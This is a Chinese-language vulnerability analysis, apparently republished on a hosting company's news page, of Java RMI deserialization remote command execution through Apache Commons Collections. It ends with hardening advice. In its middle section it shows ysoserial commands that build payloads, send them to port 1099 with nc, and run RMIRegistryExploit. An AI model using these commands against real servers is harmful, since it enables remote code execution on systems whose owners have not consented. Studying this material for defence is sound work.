JAVA反序列化中Rmi命令执行漏洞的分析

本篇文章给大家分享的是有关JAVA反序列化中Rmi命令执行漏洞的分析,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

让客户满意是我们工作的目标,不断超越客户的期望值来自于我们对这个行业的热爱。我们立志把好的技术通过有效、简单的方式提供给客户,将通过不懈努力成为客户在信息化领域值得信任、有价值的长期合作伙伴,公司提供的服务项目有:域名注册、虚拟空间、营销软件、网站建设、玉林网站维护、网站推广。

1       概述

早在2015年的1月28号,Gabriel Lawrence和Chris Frohoff在AppSecCali上给出了一个报告,报告中介绍了Java反序列化漏洞可以利用Apache Commons Collections这个常用的Java库来实现任意代码执行,但当时并没有引起太大的关注。后来FoxGlove Security安全团队发布了一篇长博客,阐述了利用Java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大Java Web Server纷纷躺枪,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版,当时各大src平台已被该漏洞刷屏,漏洞铺天盖地而来。

针对这个"2015年最被低估"的漏洞,各大受影响的Java应用厂商陆续发布了修复后的版本,Apache Commons Collections项目也对存在漏洞的类库进行了一定的安全处理,但是网络上仍有大量网站受此漏洞影响。本次讨论的对象是JAVA RMI反序列化远程命令执行漏洞。

2       何为java RMI

RMI是REMOTE METHODINVOCATION的简称,是J2SE的一部分,能够让程序员开发出基于JAVA的分布式应用。一个RMI对象是一个远程JAVA对象,可以从另一个JAVA虚拟机上(甚至跨过网络)调用它的方法,可以像调用本地JAVA对象的方法一样调用远程对象的方法,使分布在不同的JVM中的对象的外表和行为都像本地对象一样。对于任何一个以对象为参数的RMI接口,你都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于class path中的可序列化类来反序列化。

Java rmi远程调用如下:

RMI远程调用步骤:

JAVA反序列化中Rmi命令执行漏洞的分析

l 客户对象调用客户端辅助对象上的方法

l 客户端辅助对象打包调用信息(变量,方法名),通过网络发送给服务端辅助对象

l 服务端辅助对象将客户端辅助对象发送来的信息解包,找出真正被调用的方法以及该方法所在对象

l 调用真正服务对象上的真正方法,并将结果返回给服务端辅助对象

l 服务端辅助对象将结果打包,发送给客户端辅助对象

l 客户端辅助对象将返回值解包,返回给客户对象

l 客户对象获得返回值

3       Java Rmi命令执行是什么

1099端口是Java RMI的默认端口,RMI默认使用序列化来完成所有的交互,所以这是非常常见的漏洞。如果该端口暴露在公网上,且使用了Apache Commons Collections的漏洞版本,就可以在该服务器上执行相关命令。此处尝试利用ysoserial进行漏洞分析。

JAVA反序列化中Rmi命令执行漏洞的分析

利用Java中Proxy的形式对攻击payload进行封装,并在对Proxy实现重新封装的过程中使用了大量的泛类型,使得payload可以应对不同的应用。

利用该漏洞可在服务器上执行相关命令,此处举例如下

$ java -jar ysoserial.jar CommonsCollections1 calc.exe |xxd

0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl

0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A

0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat

0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov

0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........

0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin

$ nc xx.xx.xx.xx 1099 < groovypayload.bin

$ java -cp ysoserial.jarysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

利用该漏洞查看相关datasource文件内容

RMI服务的攻击,同样可以使用URLClassLoader方法进行回显

4       Java Rmi当前漏洞影响

虽然Java RMI服务远程命令执行漏洞过去了4年的时间,但是公网上依然有很多服务器存在该漏洞,此处对国内1099的端口开放情况做了初步统计,具体结果如下:

JAVA反序列化中Rmi命令执行漏洞的分析JAVA反序列化中Rmi命令执行漏洞的分析

JAVA反序列化中Rmi命令执行漏洞的分析

JAVA反序列化中Rmi命令执行漏洞的分析

通过对简单扫描结果进行统计发现,1099端口中国开放12310台,其中将端口用于RMI交互的主机3891台,占比31.6%;存在反序列化漏洞3114台,占比 25.29%

5       加固意见

Ø  关闭rmi服务的端口在公网的开放;

Ø  下载SerialKiller临时补丁,这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,控制了外部输入反序列化后的可信类型

Ø  在不影响业务的情况下,临时删除掉项目里的InvokerTransformer.class文件;

Ø  定时对WebLogic、Apache、JBoss等中间件进行升级。

以上就是JAVA反序列化中Rmi命令执行漏洞的分析,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注创新互联行业资讯频道。


当前标题:JAVA反序列化中Rmi命令执行漏洞的分析
标题URL:http://scyanting.com/article/jicpig.html